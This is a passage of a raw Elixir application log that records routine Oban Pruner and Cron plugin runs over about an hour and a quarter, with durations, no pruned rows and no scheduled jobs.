{"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:46.938 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:00.035 [info] {"source":"oban","duration":544,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:56:16.940 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:46.942 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:00.036 [info] {"source":"oban","duration":413,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:57:16.944 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:46.946 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:00.037 [info] {"source":"oban","duration":399,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:58:16.948 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:46.950 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:00.038 [info] {"source":"oban","duration":506,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:59:16.952 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:46.954 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:00.040 [info] {"source":"oban","duration":1582,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:00:16.957 [info] {"source":"oban","duration":2003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:46.959 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:00.042 [info] {"source":"oban","duration":595,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:01:16.961 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:46.963 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:00.044 [info] {"source":"oban","duration":413,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:02:16.965 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:46.968 [info] {"source":"oban","duration":1810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:00.045 [info] {"source":"oban","duration":419,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:03:16.970 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:46.975 [info] {"source":"oban","duration":3659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:00.046 [info] {"source":"oban","duration":424,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:04:16.977 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:46.979 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:00.048 [info] {"source":"oban","duration":764,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:05:16.981 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:46.983 [info] {"source":"oban","duration":1763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:00.049 [info] {"source":"oban","duration":381,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:06:16.986 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:46.989 [info] {"source":"oban","duration":1945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:00.050 [info] {"source":"oban","duration":502,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:07:16.991 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:46.993 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:00.051 [info] {"source":"oban","duration":555,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:08:16.995 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:46.997 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:00.052 [info] {"source":"oban","duration":510,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:09:16.999 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:47.001 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:00.053 [info] {"source":"oban","duration":387,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:10:17.003 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:47.005 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:00.054 [info] {"source":"oban","duration":570,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:11:17.009 [info] {"source":"oban","duration":3042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:47.011 [info] {"source":"oban","duration":1653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:00.055 [info] {"source":"oban","duration":513,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:12:17.014 [info] {"source":"oban","duration":1970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:47.016 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.057 [info] {"source":"oban","duration":1009,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:13:17.018 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:47.020 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:00.058 [info] {"source":"oban","duration":437,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:14:17.022 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:47.024 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:00.059 [info] {"source":"oban","duration":542,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:15:17.026 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:47.029 [info] {"source":"oban","duration":2019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:00.060 [info] {"source":"oban","duration":408,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:16:17.031 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:47.033 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:00.061 [info] {"source":"oban","duration":443,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:17:17.035 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:47.037 [info] {"source":"oban","duration":1755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:00.062 [info] {"source":"oban","duration":573,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:18:17.040 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:47.042 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:00.064 [info] {"source":"oban","duration":422,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:19:17.044 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:47.046 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:00.065 [info] {"source":"oban","duration":364,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:20:17.048 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:47.050 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:00.066 [info] {"source":"oban","duration":569,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:21:17.052 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:47.054 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:00.067 [info] {"source":"oban","duration":422,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:22:17.056 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:47.058 [info] {"source":"oban","duration":1761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:00.068 [info] {"source":"oban","duration":480,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:23:17.068 [info] {"source":"oban","duration":8133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:47.073 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:00.070 [info] {"source":"oban","duration":849,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:24:17.075 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:47.077 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:00.071 [info] {"source":"oban","duration":662,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:25:17.079 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:47.081 [info] {"source":"oban","duration":1758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:00.072 [info] {"source":"oban","duration":662,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:26:17.084 [info] {"source":"oban","duration":1646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:47.086 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:00.074 [info] {"source":"oban","duration":545,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:27:17.088 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:47.090 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:00.075 [info] {"source":"oban","duration":614,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:28:17.092 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:47.094 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:00.076 [info] {"source":"oban","duration":546,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:29:17.097 [info] {"source":"oban","duration":1932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:47.099 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:00.078 [info] {"source":"oban","duration":449,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:30:17.102 [info] {"source":"oban","duration":2108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:47.104 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:00.079 [info] {"source":"oban","duration":376,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:31:17.106 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:47.108 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:00.080 [info] {"source":"oban","duration":424,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:32:17.115 [info] {"source":"oban","duration":4243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:47.119 [info] {"source":"oban","duration":1877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.081 [info] {"source":"oban","duration":433,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:33:17.122 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:47.124 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:00.082 [info] {"source":"oban","duration":381,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:34:17.126 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:47.128 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.083 [info] {"source":"oban","duration":786,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:35:17.130 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:47.135 [info] {"source":"oban","duration":3828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:00.085 [info] {"source":"oban","duration":391,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:36:17.137 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:47.139 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:00.086 [info] {"source":"oban","duration":548,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:37:17.141 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:47.143 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:00.087 [info] {"source":"oban","duration":483,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:38:17.145 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:47.147 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:00.088 [info] {"source":"oban","duration":402,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:39:17.149 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:47.151 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:00.089 [info] {"source":"oban","duration":427,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:40:17.153 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:47.155 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:00.090 [info] {"source":"oban","duration":415,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:41:17.157 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:47.159 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:00.091 [info] {"source":"oban","duration":441,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:42:17.161 [info] {"source":"oban","duration":1792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:47.165 [info] {"source":"oban","duration":2070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:00.092 [info] {"source":"oban","duration":548,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:43:17.167 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:47.169 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:00.093 [info] {"source":"oban","duration":375,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:44:17.171 [info] {"source":"oban","duration":1838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:47.174 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:00.095 [info] {"source":"oban","duration":1145,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:45:17.176 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:47.178 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.096 [info] {"source":"oban","duration":438,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:46:17.180 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:47.182 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:00.097 [info] {"source":"oban","duration":384,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:47:17.184 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:47.186 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:00.098 [info] {"source":"oban","duration":403,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:48:17.194 [info] {"source":"oban","duration":7168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:47.196 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:00.099 [info] {"source":"oban","duration":405,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:49:17.198 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:47.200 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.100 [info] {"source":"oban","duration":468,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:50:17.202 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:47.204 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:00.101 [info] {"source":"oban","duration":599,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:51:17.206 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:47.208 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:00.102 [info] {"source":"oban","duration":525,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:52:17.210 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:47.212 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:00.103 [info] {"source":"oban","duration":574,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:53:17.214 [info] {"source":"oban","duration":1597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:47.216 [info] {"source":"oban","duration":1644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:00.104 [info] {"source":"oban","duration":405,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:54:17.218 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:47.224 [info] {"source":"oban","duration":5819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:00.105 [info] {"source":"oban","duration":377,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:55:17.227 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:47.229 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:00.106 [info] {"source":"oban","duration":412,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:56:17.231 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:47.233 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:00.107 [info] {"source":"oban","duration":371,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:57:17.235 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:47.237 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:00.108 [info] {"source":"oban","duration":423,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:58:17.240 [info] {"source":"oban","duration":1965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:47.242 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:00.109 [info] {"source":"oban","duration":399,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:59:17.244 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:47.246 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:00.110 [info] {"source":"oban","duration":525,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:00:17.248 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:47.251 [info] {"source":"oban","duration":2354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:00.112 [info] {"source":"oban","duration":1438,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:01:17.253 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:47.256 [info] {"source":"oban","duration":1901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:00.114 [info] {"source":"oban","duration":468,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:02:17.258 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:47.260 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:00.115 [info] {"source":"oban","duration":328,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:03:17.262 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:47.264 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:00.116 [info] {"source":"oban","duration":324,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:04:17.266 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:47.268 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:00.117 [info] {"source":"oban","duration":347,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:05:17.270 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:47.272 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:00.118 [info] {"source":"oban","duration":497,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:06:17.274 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:47.276 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:00.119 [info] {"source":"oban","duration":378,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:07:17.278 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:47.281 [info] {"source":"oban","duration":2121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:00.120 [info] {"source":"oban","duration":404,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:08:17.283 [info] {"source":"oban","duration":1893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:47.286 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:00.121 [info] {"source":"oban","duration":533,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:09:17.288 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:47.290 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:00.122 [info] {"source":"oban","duration":519,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:10:17.292 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:47.294 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:00.123 [info] {"source":"oban","duration":607,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:11:17.296 [info] {"source":"oban","duration":1836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:47.299 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:00.124 [info] {"source":"oban","duration":554,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:12:17.301 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:47.303 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:00.125 [info] {"source":"oban","duration":379,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:13:17.305 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:47.307 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:00.126 [info] 